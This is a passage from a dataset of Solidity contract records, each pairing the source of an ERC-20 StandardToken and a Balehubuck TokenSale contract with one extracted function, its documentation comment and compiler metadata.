/// @param _spender Address of token spender
/// @return Returns remaining allowance for spender
function allowance(address _owner, address _spender)
public
constant
returns (uint256)
{
return allowances[_owner][_spender];
}
/// @dev Returns number of tokens owned by given address
/// @param _owner Address of token owner
/// @return Returns balance of owner
function balanceOf(address _owner)
public
constant
returns (uint256)
{
return balances[_owner];
}
} | /// @title Standard token contract - Standard token interface implementation | NatSpecSingleLine | increaseApproval | function increaseApproval(address _spender, uint _addedValue)
public
returns (bool)
{
allowances[msg.sender][_spender] = allowances[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowances[msg.sender][_spender]);
return true;
}
| /**
* approve should be called when allowances[_spender] == 0. To increment
* allowances value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/ | NatSpecMultiLine | v0.4.18+commit.9cf6e910 | bzzr://0692760ec1db61591d22a91dffec166a0b6a1575b73970edbeb3a305571151bf | {
"func_code_index": [
2660,
2972
]
} | 59,875 |
|
TokenSale | TokenSale.sol | 0xb8d8496a49fc00c8fc42e1d8822ea15d33b7c2ae | Solidity | StandardToken | contract StandardToken is Token {
using SafeMath for uint256;
/*
* Storage
*/
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowances;
uint256 public totalSupply;
/*
* Public functions
*/
/// @dev Transfers sender's tokens to a given address. Returns success
/// @param to Address of token receiver
/// @param value Number of tokens to transfer
/// @return Returns success of function call
function transfer(address to, uint256 value)
public
returns (bool)
{
require(to != address(0));
require(value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(value);
balances[to] = balances[to].add(value);
Transfer(msg.sender, to, value);
return true;
}
/// @dev Allows allowances third party to transfer tokens from one address to another. Returns success
/// @param from Address from where tokens are withdrawn
/// @param to Address to where tokens are sent
/// @param value Number of tokens to transfer
/// @return Returns success of function call
function transferFrom(address from, address to, uint256 value)
public
returns (bool)
{
// if (balances[from] < value || allowances[from][msg.sender] < value)
// // Balance or allowance too low
// revert();
require(to != address(0));
require(value <= balances[from]);
require(value <= allowances[from][msg.sender]);
balances[to] = balances[to].add(value);
balances[from] = balances[from].sub(value);
allowances[from][msg.sender] = allowances[from][msg.sender].sub(value);
Transfer(from, to, value);
return true;
}
/// @dev Sets approved amount of tokens for spender. Returns success
/// @param _spender Address of allowances account
/// @param value Number of approved tokens
/// @return Returns success of function call
function approve(address _spender, uint256 value)
public
returns (bool success)
{
require((value == 0) || (allowances[msg.sender][_spender] == 0));
allowances[msg.sender][_spender] = value;
Approval(msg.sender, _spender, value);
return true;
}
/**
* approve should be called when allowances[_spender] == 0. To increment
* allowances value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval(address _spender, uint _addedValue)
public
returns (bool)
{
allowances[msg.sender][_spender] = allowances[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowances[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue)
public
returns (bool)
{
uint oldValue = allowances[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowances[msg.sender][_spender] = 0;
} else {
allowances[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowances[msg.sender][_spender]);
return true;
}
/// @dev Returns number of allowances tokens for given address
/// @param _owner Address of token owner
/// @param _spender Address of token spender
/// @return Returns remaining allowance for spender
function allowance(address _owner, address _spender)
public
constant
returns (uint256)
{
return allowances[_owner][_spender];
}
/// @dev Returns number of tokens owned by given address
/// @param _owner Address of token owner
/// @return Returns balance of owner
function balanceOf(address _owner)
public
constant
returns (uint256)
{
return balances[_owner];
}
} | /// @title Standard token contract - Standard token interface implementation | NatSpecSingleLine | allowance | function allowance(address _owner, address _spender)
public
constant
returns (uint256)
{
return allowances[_owner][_spender];
}
| /// @dev Returns number of allowances tokens for given address
/// @param _owner Address of token owner
/// @param _spender Address of token spender
/// @return Returns remaining allowance for spender | NatSpecSingleLine | v0.4.18+commit.9cf6e910 | bzzr://0692760ec1db61591d22a91dffec166a0b6a1575b73970edbeb3a305571151bf | {
"func_code_index": [
3685,
3863
]
} | 59,876 |
|
TokenSale | TokenSale.sol | 0xb8d8496a49fc00c8fc42e1d8822ea15d33b7c2ae | Solidity | StandardToken | contract StandardToken is Token {
using SafeMath for uint256;
/*
* Storage
*/
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowances;
uint256 public totalSupply;
/*
* Public functions
*/
/// @dev Transfers sender's tokens to a given address. Returns success
/// @param to Address of token receiver
/// @param value Number of tokens to transfer
/// @return Returns success of function call
function transfer(address to, uint256 value)
public
returns (bool)
{
require(to != address(0));
require(value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(value);
balances[to] = balances[to].add(value);
Transfer(msg.sender, to, value);
return true;
}
/// @dev Allows allowances third party to transfer tokens from one address to another. Returns success
/// @param from Address from where tokens are withdrawn
/// @param to Address to where tokens are sent
/// @param value Number of tokens to transfer
/// @return Returns success of function call
function transferFrom(address from, address to, uint256 value)
public
returns (bool)
{
// if (balances[from] < value || allowances[from][msg.sender] < value)
// // Balance or allowance too low
// revert();
require(to != address(0));
require(value <= balances[from]);
require(value <= allowances[from][msg.sender]);
balances[to] = balances[to].add(value);
balances[from] = balances[from].sub(value);
allowances[from][msg.sender] = allowances[from][msg.sender].sub(value);
Transfer(from, to, value);
return true;
}
/// @dev Sets approved amount of tokens for spender. Returns success
/// @param _spender Address of allowances account
/// @param value Number of approved tokens
/// @return Returns success of function call
function approve(address _spender, uint256 value)
public
returns (bool success)
{
require((value == 0) || (allowances[msg.sender][_spender] == 0));
allowances[msg.sender][_spender] = value;
Approval(msg.sender, _spender, value);
return true;
}
/**
* approve should be called when allowances[_spender] == 0. To increment
* allowances value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval(address _spender, uint _addedValue)
public
returns (bool)
{
allowances[msg.sender][_spender] = allowances[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowances[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue)
public
returns (bool)
{
uint oldValue = allowances[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowances[msg.sender][_spender] = 0;
} else {
allowances[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowances[msg.sender][_spender]);
return true;
}
/// @dev Returns number of allowances tokens for given address
/// @param _owner Address of token owner
/// @param _spender Address of token spender
/// @return Returns remaining allowance for spender
function allowance(address _owner, address _spender)
public
constant
returns (uint256)
{
return allowances[_owner][_spender];
}
/// @dev Returns number of tokens owned by given address
/// @param _owner Address of token owner
/// @return Returns balance of owner
function balanceOf(address _owner)
public
constant
returns (uint256)
{
return balances[_owner];
}
} | /// @title Standard token contract - Standard token interface implementation | NatSpecSingleLine | balanceOf | function balanceOf(address _owner)
public
constant
returns (uint256)
{
return balances[_owner];
}
| /// @dev Returns number of tokens owned by given address
/// @param _owner Address of token owner
/// @return Returns balance of owner | NatSpecSingleLine | v0.4.18+commit.9cf6e910 | bzzr://0692760ec1db61591d22a91dffec166a0b6a1575b73970edbeb3a305571151bf | {
"func_code_index": [
4016,
4164
]
} | 59,877 |
|
TokenSale | TokenSale.sol | 0xb8d8496a49fc00c8fc42e1d8822ea15d33b7c2ae | Solidity | TokenSale | contract TokenSale {
using SafeMath for uint256;
/*
* Events
*/
event PresaleStart(uint256 indexed presaleStartTime);
event AllocatePresale(address indexed receiver, uint256 tokenQuantity);
event PresaleEnd(uint256 indexed presaleEndTime);
event MainSaleStart(uint256 indexed startMainSaleTime);
event AllocateMainSale(address indexed receiver, uint256 etherAmount);
event MainSaleEnd(uint256 indexed endMainSaleTime);
event TradingStart(uint256 indexed startTradingTime);
event Refund(address indexed receiver, uint256 etherAmount);
/*
* Constants
*/
// Presale Allocation = 500 * (5000 + 4500 + 4000 + 3500 + 3250 + 3000) * 10**18
uint256 public constant PRESALE_TOKEN_ALLOCATION = 11625000 * 10**18;
uint256 public constant PRESALE_MAX_RAISE = 3000 * 10**18;
/*
* Storage
*/
mapping (address => uint256) public presaleAllocations;
mapping (address => uint256) public mainSaleAllocations;
address public wallet;
Balehubuck public token;
uint256 public presaleEndTime;
uint256 public mainSaleEndTime;
uint256 public minTradingStartTime;
uint256 public maxTradingStartTime;
uint256 public totalReceived;
uint256 public minimumMainSaleRaise;
uint256 public maximumMainSaleRaise;
uint256 public maximumAllocationPerParticipant;
uint256 public mainSaleExchangeRate;
Stages public stage;
enum Stages {
Deployed,
PresaleStarted,
PresaleEnded,
MainSaleStarted,
MainSaleEnded,
Refund,
Trading
}
/*
* Modifiers
*/
modifier onlyWallet() {
require(wallet == msg.sender);
_;
}
modifier atStage(Stages _stage) {
require(stage == _stage);
_;
}
/*
* Fallback function
*/
function ()
external
payable
{
buy(msg.sender);
}
/*
* Constructor function
*/
// @dev Constructor function that create the Balehubuck token and sets the initial variables
// @param _wallet sets the wallet state variable which will be used to start stages throughout the token sale
function TokenSale(address _wallet)
public
{
require(_wallet != 0x0);
wallet = _wallet;
token = new Balehubuck(wallet);
// Sets the default main sale values
minimumMainSaleRaise = 23000 * 10**18;
maximumMainSaleRaise = 78000 * 10**18;
maximumAllocationPerParticipant = 750 * 10**18;
mainSaleExchangeRate = 2500;
stage = Stages.Deployed;
totalReceived = 0;
}
/*
* Public functions
*/
// @ev Allows buyers to buy tokens, throws if neither the presale or main sale is happening
// @param _receiver The address the will receive the tokens
function buy(address _receiver)
public
payable
{
require(msg.value > 0);
address receiver = _receiver;
if (receiver == 0x0)
receiver = msg.sender;
if (stage == Stages.PresaleStarted) {
buyPresale(receiver);
} else if (stage == Stages.MainSaleStarted) {
buyMainSale(receiver);
} else {
revert();
}
}
/*
* External functions
*/
// @dev Starts the presale
function startPresale()
external
onlyWallet
atStage(Stages.Deployed)
{
stage = Stages.PresaleStarted;
presaleEndTime = now + 8 weeks;
PresaleStart(now);
}
// @dev Sets the maximum and minimum raise amounts prior to the main sale
// @dev Use this method with extreme caution!
// @param _minimumMainSaleRaise Sets the minimium main sale raise
// @param _maximumMainSaleRaise Sets the maximum main sale raise
// @param _maximumAllocationPerParticipant sets the maximum main sale allocation per participant
function changeSettings(uint256 _minimumMainSaleRaise,
uint256 _maximumMainSaleRaise,
uint256 _maximumAllocationPerParticipant,
uint256 _mainSaleExchangeRate)
external
onlyWallet
atStage(Stages.PresaleEnded)
{
// Checks the inputs for null values
require(_minimumMainSaleRaise > 0 &&
_maximumMainSaleRaise > 0 &&
_maximumAllocationPerParticipant > 0 &&
_mainSaleExchangeRate > 0);
// Sanity check that requires the min raise to be less then the max
require(_minimumMainSaleRaise < _maximumMainSaleRaise);
// This check verifies that the token_sale contract has enough tokens to match the
// _maximumMainSaleRaiseAmount * _mainSaleExchangeRate (subtracts presale amounts first)
require(_maximumMainSaleRaise.sub(PRESALE_MAX_RAISE).mul(_mainSaleExchangeRate) <= token.balanceOf(this).sub(PRESALE_TOKEN_ALLOCATION));
minimumMainSaleRaise = _minimumMainSaleRaise;
maximumMainSaleRaise = _maximumMainSaleRaise;
mainSaleExchangeRate = _mainSaleExchangeRate;
maximumAllocationPerParticipant = _maximumAllocationPerParticipant;
}
// @dev Starts the main sale
// @dev Make sure the main sale variables are correct before calling
function startMainSale()
external
onlyWallet
atStage(Stages.PresaleEnded)
{
stage = Stages.MainSaleStarted;
mainSaleEndTime = now + 8 weeks;
MainSaleStart(now);
}
// @dev Starts the trading stage, allowing buyer to claim their tokens
function startTrading()
external
atStage(Stages.MainSaleEnded)
{
// Trading starts between two weeks (if called by the wallet) and two months (callable by anyone)
// after the main sale has ended
require((msg.sender == wallet && now >= minTradingStartTime) || now >= maxTradingStartTime);
stage = Stages.Trading;
TradingStart(now);
}
// @dev Allows buyer to be refunded their ETH if the minimum presale raise amount hasn't been met
function refund()
external
atStage(Stages.Refund)
{
uint256 amount = mainSaleAllocations[msg.sender];
mainSaleAllocations[msg.sender] = 0;
msg.sender.transfer(amount);
Refund(msg.sender, amount);
}
// @dev Allows buyers to claim the tokens they've purchased
function claimTokens()
external
atStage(Stages.Trading)
{
uint256 tokenAllocation = presaleAllocations[msg.sender].add(mainSaleAllocations[msg.sender].mul(mainSaleExchangeRate));
presaleAllocations[msg.sender] = 0;
mainSaleAllocations[msg.sender] = 0;
token.transfer(msg.sender, tokenAllocation);
}
/*
* Private functions
*/
// @dev Allocated tokens to the presale buyer at a rate based on the total received
// @param receiver The address presale balehubucks will be allocated to
function buyPresale(address receiver)
private
{
if (now >= presaleEndTime) {
endPresale();
return;
}
uint256 totalTokenAllocation = 0;
uint256 oldTotalReceived = totalReceived;
uint256 tokenAllocation = 0;
uint256 weiUsing = 0;
uint256 weiAmount = msg.value;
uint256 maxWeiForPresaleStage = 0;
uint256 buyerRefund = 0;
// Cycles through the presale phases conditional giving a different exchange rate for
// each phase of the presale until tokens have been allocated for all Ether sent or
// until the presale cap of 3,000 Ether has been reached
while (true) {
// The EVM deals with division by rounding down, causing the below statement to
// round down to the correct stage
// stageAmount = totalReceived.add(500 * 10**18).div(500 * 10**18).mul(500 * 10**18);
// maxWeiForPresaleStage = stageAmount - totalReceived
maxWeiForPresaleStage = (totalReceived.add(500 * 10**18).div(500 * 10**18).mul(500 * 10**18)).sub(totalReceived);
if (weiAmount > maxWeiForPresaleStage) {
weiUsing = maxWeiForPresaleStage;
} else {
weiUsing = weiAmount;
}
weiAmount = weiAmount.sub(weiUsing);
if (totalReceived < 500 * 10**18) {
// Stage 1: up to 500 Ether, exchange rate of 1 ETH for 5000 BUX
tokenAllocation = calcpresaleAllocations(weiUsing, 5000);
} else if (totalReceived < 1000 * 10**18) {
// Stage 2: up to 1000 Ether, exchange rate of 1 ETH for 4500 BUX
tokenAllocation = calcpresaleAllocations(weiUsing, 4500);
} else if (totalReceived < 1500 * 10**18) {
// Stage 3: up to 1500 Ether, exchange rate of 1 ETH for 4000 BUX
tokenAllocation = calcpresaleAllocations(weiUsing, 4000);
} else if (totalReceived < 2000 * 10**18) {
// Stage 4: up to 2000 Ether, exchange rate of 1 ETH for 3500 BUX
tokenAllocation = calcpresaleAllocations(weiUsing, 3500);
} else if (totalReceived < 2500 * 10**18) {
// Stage 5: up to 2500 Ether, exchange rate of 1 ETH for 3250 BUX
tokenAllocation = calcpresaleAllocations(weiUsing, 3250);
} else if (totalReceived < 3000 * 10**18) {
// Stage 6: up to 3000 Ether, exchange rate of 1 ETH for 3000 BUX
tokenAllocation = calcpresaleAllocations(weiUsing, 3000);
}
totalTokenAllocation = totalTokenAllocation.add(tokenAllocation);
totalReceived = totalReceived.add(weiUsing);
if (totalReceived >= PRESALE_MAX_RAISE) {
buyerRefund = weiAmount;
endPresale();
}
// Exits the for loops if the presale cap has been reached (changing the stage)
// or all of the wei send to the presale has been allocated
if (weiAmount == 0 || stage != Stages.PresaleStarted)
break;
}
presaleAllocations[receiver] = presaleAllocations[receiver].add(totalTokenAllocation);
wallet.transfer(totalReceived.sub(oldTotalReceived));
msg.sender.transfer(buyerRefund);
AllocatePresale(receiver, totalTokenAllocation);
}
// @dev Allocated tokens to the presale buyer at a rate based on the total received
// @param receiver The address main sale balehubucks will be allocated to
function buyMainSale(address receiver)
private
{
if (now >= mainSaleEndTime) {
endMainSale(msg.value);
msg.sender.transfer(msg.value);
return;
}
uint256 buyerRefund = 0;
uint256 weiAllocation = mainSaleAllocations[receiver].add(msg.value);
if (weiAllocation >= maximumAllocationPerParticipant) {
weiAllocation = maximumAllocationPerParticipant.sub(mainSaleAllocations[receiver]);
buyerRefund = msg.value.sub(weiAllocation);
}
uint256 potentialReceived = totalReceived.add(weiAllocation);
if (potentialReceived > maximumMainSaleRaise) {
weiAllocation = maximumMainSaleRaise.sub(totalReceived);
buyerRefund = buyerRefund.add(potentialReceived.sub(maximumMainSaleRaise));
endMainSale(buyerRefund);
}
totalReceived = totalReceived.add(weiAllocation);
mainSaleAllocations[receiver] = mainSaleAllocations[receiver].add(weiAllocation);
msg.sender.transfer(buyerRefund);
AllocateMainSale(receiver, weiAllocation);
}
// @dev Calculates the amount of presale tokens to allocate
// @param weiUsing The amount of wei being used to for the given token allocation
// @param rate The eth/token exchange rate, this changes based on how much the presale has received so far
function calcpresaleAllocations(uint256 weiUsing, uint256 rate)
private
pure
returns (uint256)
{
return weiUsing.mul(rate);
}
// @dev Ends the presale
function endPresale()
private
{
stage = Stages.PresaleEnded;
PresaleEnd(now);
}
// @dev Ends the main sale triggering a refund if the minimum sale raise has no been met
// @dev or passes funds raised to the wallet and starts the trading count down
function endMainSale(uint256 buyerRefund)
private
{
if (totalReceived < minimumMainSaleRaise) {
stage = Stages.Refund;
} else {
minTradingStartTime = now + 2 weeks;
maxTradingStartTime = now + 8 weeks;
stage = Stages.MainSaleEnded;
// Transfers all funds raised to the Balehu wallet minus the funds that need to be refunded
wallet.transfer(this.balance.sub(buyerRefund));
// All unsold tokens will remain within the token_sale contract
// and will be treated as burned
}
MainSaleEnd(now);
}
} | function ()
external
payable
{
buy(msg.sender);
}
| /*
* Fallback function
*/ | Comment | v0.4.18+commit.9cf6e910 | bzzr://0692760ec1db61591d22a91dffec166a0b6a1575b73970edbeb3a305571151bf | {
"func_code_index": [
1919,
2010
]
} | 59,878 |
||||
TokenSale | TokenSale.sol | 0xb8d8496a49fc00c8fc42e1d8822ea15d33b7c2ae | Solidity | TokenSale | contract TokenSale {
using SafeMath for uint256;
/*
* Events
*/
event PresaleStart(uint256 indexed presaleStartTime);
event AllocatePresale(address indexed receiver, uint256 tokenQuantity);
event PresaleEnd(uint256 indexed presaleEndTime);
event MainSaleStart(uint256 indexed startMainSaleTime);
event AllocateMainSale(address indexed receiver, uint256 etherAmount);
event MainSaleEnd(uint256 indexed endMainSaleTime);
event TradingStart(uint256 indexed startTradingTime);
event Refund(address indexed receiver, uint256 etherAmount);
/*
* Constants
*/
// Presale Allocation = 500 * (5000 + 4500 + 4000 + 3500 + 3250 + 3000) * 10**18
uint256 public constant PRESALE_TOKEN_ALLOCATION = 11625000 * 10**18;
uint256 public constant PRESALE_MAX_RAISE = 3000 * 10**18;
/*
* Storage
*/
mapping (address => uint256) public presaleAllocations;
mapping (address => uint256) public mainSaleAllocations;
address public wallet;
Balehubuck public token;
uint256 public presaleEndTime;
uint256 public mainSaleEndTime;
uint256 public minTradingStartTime;
uint256 public maxTradingStartTime;
uint256 public totalReceived;
uint256 public minimumMainSaleRaise;
uint256 public maximumMainSaleRaise;
uint256 public maximumAllocationPerParticipant;
uint256 public mainSaleExchangeRate;
Stages public stage;
enum Stages {
Deployed,
PresaleStarted,
PresaleEnded,
MainSaleStarted,
MainSaleEnded,
Refund,
Trading
}
/*
* Modifiers
*/
modifier onlyWallet() {
require(wallet == msg.sender);
_;
}
modifier atStage(Stages _stage) {
require(stage == _stage);
_;
}
/*
* Fallback function
*/
function ()
external
payable
{
buy(msg.sender);
}
/*
* Constructor function
*/
// @dev Constructor function that create the Balehubuck token and sets the initial variables
// @param _wallet sets the wallet state variable which will be used to start stages throughout the token sale
function TokenSale(address _wallet)
public
{
require(_wallet != 0x0);
wallet = _wallet;
token = new Balehubuck(wallet);
// Sets the default main sale values
minimumMainSaleRaise = 23000 * 10**18;
maximumMainSaleRaise = 78000 * 10**18;
maximumAllocationPerParticipant = 750 * 10**18;
mainSaleExchangeRate = 2500;
stage = Stages.Deployed;
totalReceived = 0;
}
/*
* Public functions
*/
// @ev Allows buyers to buy tokens, throws if neither the presale or main sale is happening
// @param _receiver The address the will receive the tokens
function buy(address _receiver)
public
payable
{
require(msg.value > 0);
address receiver = _receiver;
if (receiver == 0x0)
receiver = msg.sender;
if (stage == Stages.PresaleStarted) {
buyPresale(receiver);
} else if (stage == Stages.MainSaleStarted) {
buyMainSale(receiver);
} else {
revert();
}
}
/*
* External functions
*/
// @dev Starts the presale
function startPresale()
external
onlyWallet
atStage(Stages.Deployed)
{
stage = Stages.PresaleStarted;
presaleEndTime = now + 8 weeks;
PresaleStart(now);
}
// @dev Sets the maximum and minimum raise amounts prior to the main sale
// @dev Use this method with extreme caution!
// @param _minimumMainSaleRaise Sets the minimium main sale raise
// @param _maximumMainSaleRaise Sets the maximum main sale raise
// @param _maximumAllocationPerParticipant sets the maximum main sale allocation per participant
function changeSettings(uint256 _minimumMainSaleRaise,
uint256 _maximumMainSaleRaise,
uint256 _maximumAllocationPerParticipant,
uint256 _mainSaleExchangeRate)
external
onlyWallet
atStage(Stages.PresaleEnded)
{
// Checks the inputs for null values
require(_minimumMainSaleRaise > 0 &&
_maximumMainSaleRaise > 0 &&
_maximumAllocationPerParticipant > 0 &&
_mainSaleExchangeRate > 0);
// Sanity check that requires the min raise to be less then the max
require(_minimumMainSaleRaise < _maximumMainSaleRaise);
// This check verifies that the token_sale contract has enough tokens to match the
// _maximumMainSaleRaiseAmount * _mainSaleExchangeRate (subtracts presale amounts first)
require(_maximumMainSaleRaise.sub(PRESALE_MAX_RAISE).mul(_mainSaleExchangeRate) <= token.balanceOf(this).sub(PRESALE_TOKEN_ALLOCATION));
minimumMainSaleRaise = _minimumMainSaleRaise;
maximumMainSaleRaise = _maximumMainSaleRaise;
mainSaleExchangeRate = _mainSaleExchangeRate;
maximumAllocationPerParticipant = _maximumAllocationPerParticipant;
}
// @dev Starts the main sale
// @dev Make sure the main sale variables are correct before calling
function startMainSale()
external
onlyWallet
atStage(Stages.PresaleEnded)
{
stage = Stages.MainSaleStarted;
mainSaleEndTime = now + 8 weeks;
MainSaleStart(now);
}
// @dev Starts the trading stage, allowing buyer to claim their tokens
function startTrading()
external
atStage(Stages.MainSaleEnded)
{
// Trading starts between two weeks (if called by the wallet) and two months (callable by anyone)
// after the main sale has ended
require((msg.sender == wallet && now >= minTradingStartTime) || now >= maxTradingStartTime);
stage = Stages.Trading;
TradingStart(now);
}
// @dev Allows buyer to be refunded their ETH if the minimum presale raise amount hasn't been met
function refund()
external
atStage(Stages.Refund)
{
uint256 amount = mainSaleAllocations[msg.sender];
mainSaleAllocations[msg.sender] = 0;
msg.sender.transfer(amount);
Refund(msg.sender, amount);
}
// @dev Allows buyers to claim the tokens they've purchased
function claimTokens()
external
atStage(Stages.Trading)
{
uint256 tokenAllocation = presaleAllocations[msg.sender].add(mainSaleAllocations[msg.sender].mul(mainSaleExchangeRate));
presaleAllocations[msg.sender] = 0;
mainSaleAllocations[msg.sender] = 0;
token.transfer(msg.sender, tokenAllocation);
}
/*
* Private functions
*/
// @dev Allocated tokens to the presale buyer at a rate based on the total received
// @param receiver The address presale balehubucks will be allocated to
function buyPresale(address receiver)
private
{
if (now >= presaleEndTime) {
endPresale();
return;
}
uint256 totalTokenAllocation = 0;
uint256 oldTotalReceived = totalReceived;
uint256 tokenAllocation = 0;
uint256 weiUsing = 0;
uint256 weiAmount = msg.value;
uint256 maxWeiForPresaleStage = 0;
uint256 buyerRefund = 0;
// Cycles through the presale phases conditional giving a different exchange rate for
// each phase of the presale until tokens have been allocated for all Ether sent or
// until the presale cap of 3,000 Ether has been reached
while (true) {
// The EVM deals with division by rounding down, causing the below statement to
// round down to the correct stage
// stageAmount = totalReceived.add(500 * 10**18).div(500 * 10**18).mul(500 * 10**18);
// maxWeiForPresaleStage = stageAmount - totalReceived
maxWeiForPresaleStage = (totalReceived.add(500 * 10**18).div(500 * 10**18).mul(500 * 10**18)).sub(totalReceived);
if (weiAmount > maxWeiForPresaleStage) {
weiUsing = maxWeiForPresaleStage;
} else {
weiUsing = weiAmount;
}
weiAmount = weiAmount.sub(weiUsing);
if (totalReceived < 500 * 10**18) {
// Stage 1: up to 500 Ether, exchange rate of 1 ETH for 5000 BUX
tokenAllocation = calcpresaleAllocations(weiUsing, 5000);
} else if (totalReceived < 1000 * 10**18) {
// Stage 2: up to 1000 Ether, exchange rate of 1 ETH for 4500 BUX
tokenAllocation = calcpresaleAllocations(weiUsing, 4500);
} else if (totalReceived < 1500 * 10**18) {
// Stage 3: up to 1500 Ether, exchange rate of 1 ETH for 4000 BUX
tokenAllocation = calcpresaleAllocations(weiUsing, 4000);
} else if (totalReceived < 2000 * 10**18) {
// Stage 4: up to 2000 Ether, exchange rate of 1 ETH for 3500 BUX
tokenAllocation = calcpresaleAllocations(weiUsing, 3500);
} else if (totalReceived < 2500 * 10**18) {
// Stage 5: up to 2500 Ether, exchange rate of 1 ETH for 3250 BUX
tokenAllocation = calcpresaleAllocations(weiUsing, 3250);
} else if (totalReceived < 3000 * 10**18) {
// Stage 6: up to 3000 Ether, exchange rate of 1 ETH for 3000 BUX
tokenAllocation = calcpresaleAllocations(weiUsing, 3000);
}
totalTokenAllocation = totalTokenAllocation.add(tokenAllocation);
totalReceived = totalReceived.add(weiUsing);
if (totalReceived >= PRESALE_MAX_RAISE) {
buyerRefund = weiAmount;
endPresale();
}
// Exits the for loops if the presale cap has been reached (changing the stage)
// or all of the wei send to the presale has been allocated
if (weiAmount == 0 || stage != Stages.PresaleStarted)
break;
}
presaleAllocations[receiver] = presaleAllocations[receiver].add(totalTokenAllocation);
wallet.transfer(totalReceived.sub(oldTotalReceived));
msg.sender.transfer(buyerRefund);
AllocatePresale(receiver, totalTokenAllocation);
}
// @dev Allocated tokens to the presale buyer at a rate based on the total received
// @param receiver The address main sale balehubucks will be allocated to
function buyMainSale(address receiver)
private
{
if (now >= mainSaleEndTime) {
endMainSale(msg.value);
msg.sender.transfer(msg.value);
return;
}
uint256 buyerRefund = 0;
uint256 weiAllocation = mainSaleAllocations[receiver].add(msg.value);
if (weiAllocation >= maximumAllocationPerParticipant) {
weiAllocation = maximumAllocationPerParticipant.sub(mainSaleAllocations[receiver]);
buyerRefund = msg.value.sub(weiAllocation);
}
uint256 potentialReceived = totalReceived.add(weiAllocation);
if (potentialReceived > maximumMainSaleRaise) {
weiAllocation = maximumMainSaleRaise.sub(totalReceived);
buyerRefund = buyerRefund.add(potentialReceived.sub(maximumMainSaleRaise));
endMainSale(buyerRefund);
}
totalReceived = totalReceived.add(weiAllocation);
mainSaleAllocations[receiver] = mainSaleAllocations[receiver].add(weiAllocation);
msg.sender.transfer(buyerRefund);
AllocateMainSale(receiver, weiAllocation);
}
// @dev Calculates the amount of presale tokens to allocate
// @param weiUsing The amount of wei being used to for the given token allocation
// @param rate The eth/token exchange rate, this changes based on how much the presale has received so far
function calcpresaleAllocations(uint256 weiUsing, uint256 rate)
private
pure
returns (uint256)
{
return weiUsing.mul(rate);
}
// @dev Ends the presale
function endPresale()
private
{
stage = Stages.PresaleEnded;
PresaleEnd(now);
}
// @dev Ends the main sale triggering a refund if the minimum sale raise has no been met
// @dev or passes funds raised to the wallet and starts the trading count down
function endMainSale(uint256 buyerRefund)
private
{
if (totalReceived < minimumMainSaleRaise) {
stage = Stages.Refund;
} else {
minTradingStartTime = now + 2 weeks;
maxTradingStartTime = now + 8 weeks;
stage = Stages.MainSaleEnded;
// Transfers all funds raised to the Balehu wallet minus the funds that need to be refunded
wallet.transfer(this.balance.sub(buyerRefund));
// All unsold tokens will remain within the token_sale contract
// and will be treated as burned
}
MainSaleEnd(now);
}
} | TokenSale | function TokenSale(address _wallet)
public
{
require(_wallet != 0x0);
wallet = _wallet;
token = new Balehubuck(wallet);
// Sets the default main sale values
minimumMainSaleRaise = 23000 * 10**18;
maximumMainSaleRaise = 78000 * 10**18;
maximumAllocationPerParticipant = 750 * 10**18;
mainSaleExchangeRate = 2500;
stage = Stages.Deployed;
totalReceived = 0;
}
| // @dev Constructor function that create the Balehubuck token and sets the initial variables
// @param _wallet sets the wallet state variable which will be used to start stages throughout the token sale | LineComment | v0.4.18+commit.9cf6e910 | bzzr://0692760ec1db61591d22a91dffec166a0b6a1575b73970edbeb3a305571151bf | {
"func_code_index": [
2273,
2744
]
} | 59,879 |
|||
TokenSale | TokenSale.sol | 0xb8d8496a49fc00c8fc42e1d8822ea15d33b7c2ae | Solidity | TokenSale | contract TokenSale {
using SafeMath for uint256;
/*
* Events
*/
event PresaleStart(uint256 indexed presaleStartTime);
event AllocatePresale(address indexed receiver, uint256 tokenQuantity);
event PresaleEnd(uint256 indexed presaleEndTime);
event MainSaleStart(uint256 indexed startMainSaleTime);
event AllocateMainSale(address indexed receiver, uint256 etherAmount);
event MainSaleEnd(uint256 indexed endMainSaleTime);
event TradingStart(uint256 indexed startTradingTime);
event Refund(address indexed receiver, uint256 etherAmount);
/*
* Constants
*/
// Presale Allocation = 500 * (5000 + 4500 + 4000 + 3500 + 3250 + 3000) * 10**18
uint256 public constant PRESALE_TOKEN_ALLOCATION = 11625000 * 10**18;
uint256 public constant PRESALE_MAX_RAISE = 3000 * 10**18;
/*
* Storage
*/
mapping (address => uint256) public presaleAllocations;
mapping (address => uint256) public mainSaleAllocations;
address public wallet;
Balehubuck public token;
uint256 public presaleEndTime;
uint256 public mainSaleEndTime;
uint256 public minTradingStartTime;
uint256 public maxTradingStartTime;
uint256 public totalReceived;
uint256 public minimumMainSaleRaise;
uint256 public maximumMainSaleRaise;
uint256 public maximumAllocationPerParticipant;
uint256 public mainSaleExchangeRate;
Stages public stage;
enum Stages {
Deployed,
PresaleStarted,
PresaleEnded,
MainSaleStarted,
MainSaleEnded,
Refund,
Trading
}
/*
* Modifiers
*/
modifier onlyWallet() {
require(wallet == msg.sender);
_;
}
modifier atStage(Stages _stage) {
require(stage == _stage);
_;
}
/*
* Fallback function
*/
function ()
external
payable
{
buy(msg.sender);
}
/*
* Constructor function
*/
// @dev Constructor function that create the Balehubuck token and sets the initial variables
// @param _wallet sets the wallet state variable which will be used to start stages throughout the token sale
function TokenSale(address _wallet)
public
{
require(_wallet != 0x0);
wallet = _wallet;
token = new Balehubuck(wallet);
